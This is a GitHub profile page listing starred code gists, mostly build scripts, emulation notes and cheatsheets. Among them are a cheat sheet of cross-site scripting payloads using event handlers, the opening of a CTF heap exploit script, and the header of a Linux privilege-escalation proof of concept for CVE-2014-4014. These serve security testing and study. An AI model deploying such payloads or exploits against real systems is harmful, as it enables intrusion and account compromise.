Skip to content

Instantly share code, notes, and snippets.

View tthtlc's full-sized avatar

Peter Teoh tthtlc

View GitHub Profile
@julianxhokaxhiu
julianxhokaxhiu / build.sh
Last active July 12, 2023 06:06
How to build minimal AARCH64 QEMU Static from sources with EXECVE
#!/bin/bash
#
# IMPORTANT!
# At the moment this script is forged only for Debian ( tested on 8.x release ).
# Although my efforts were put on building this also on Arch Linux or Alpine, at the moment only Debian seems to be able to build it.
# Also, not sure why these instructions where nowhere on the internet, therefore I leave them here for whoever need them.
#
###########
# Add Backports repo support
@kurobeats
kurobeats / xss_vectors.txt
Last active May 3, 2024 11:15
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@LiveOverflow
LiveOverflow / babyfengshui.py
Created January 29, 2017 15:14
33c3 ctf babyfengshui (pwn 150)
import socket
import telnetlib
import struct
"""
developed on stream: https://www.youtube.com/watch?v=zWgS6fTw4Ts
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2323))
@bruce30262
bruce30262 / ARMDebianUbuntu.md
Last active June 12, 2023 11:43 — forked from Liryna/ARMDebianUbuntu.md
Emulating ARM on Debian/Ubuntu

You might want to read this to get an introduction to armel vs armhf.

If the below is too much, you can try Ubuntu-ARMv7-Qemu but note it contains non-free blobs.

Running ARM programs under linux (without starting QEMU VM!)

First, cross-compile user programs with GCC-ARM toolchain. Then install qemu-arm-static so that you can run ARM executables directly on linux

If there's no qemu-arm-static in the package list, install qemu-user-static instead

@qutek
qutek / functions.php
Last active October 31, 2023 07:03
[Wordpress] [Multisite] Get featured image by blog id on wordpress multisite
/* Get featured image */
if( !function_exists( 'get_the_post_thumbnail_by_blog' ) ) {
function get_the_post_thumbnail_by_blog($blog_id=NULL,$post_id=NULL,$size='post-thumbnail',$attrs=NULL) {
global $current_blog;
$sameblog = false;
if( empty( $blog_id ) || $blog_id == $current_blog->ID ) {
$blog_id = $current_blog->ID;
$sameblog = true;
}
@infoslack
infoslack / local-exploit.c
Created June 22, 2014 01:38
CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/**
* CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
*
* Vitaly Nikolenko
* http://hashcrack.org
*
* Usage: ./poc [file_path]
*
* where file_path is the file on which you want to set the sgid bit
*/
@LeCoupa
LeCoupa / nodejs-cheatsheet.js
Last active May 20, 2024 06:34
Complete Node.js CheatSheet --> UPDATED VERSION --> https://github.com/LeCoupa/awesome-cheatsheets
/* *******************************************************************************************
* THE UPDATED VERSION IS AVAILABLE AT
* https://github.com/LeCoupa/awesome-cheatsheets
* ******************************************************************************************* */
// 0. Synopsis.
// http://nodejs.org/api/synopsis.html
@jduck
jduck / strace-static.diff
Last active December 28, 2015 13:48
Enable static for building strace for Android
# dev:~/android/source/external/strace$ git diff
#
# to apply & build:
#
# dev:~/android/source/external/strace$ patch -p1 < strace-static.diff
# dev:~/android/source/external/strace$ cd ../..
# dev:~/android/source$ mmm external/strace
#
diff --git a/Android.mk b/Android.mk
index 5274280..4f1707e 100644
@thepacketgeek
thepacketgeek / 10-dns-query.py
Last active July 7, 2023 11:43
Simple DNS Query with Scapy
from scapy.all import *
answer = sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.thepacketgeek.com")),verbose=0)
print answer[DNS].summary()
@nicholasjconn
nicholasjconn / ACLK_Test.c
Last active April 4, 2017 17:46
ACLK Test for LaunchPad (http://msp430launchpad.com)
/******************************************************************************
* MSP430G2553 ACLK Test
*
* Description: This code can be used to test if you have installed the
* 32.768kHz crystal on your LaunchPad correctly. Using this code
* LED1 (on P1.0) will turn on for 1 second, and off for one
* second. You can verify this with either an oscilloscope, logic
* analyzer, or by inspection. Simple as that!
*
* This code was originally created for "NJC's MSP430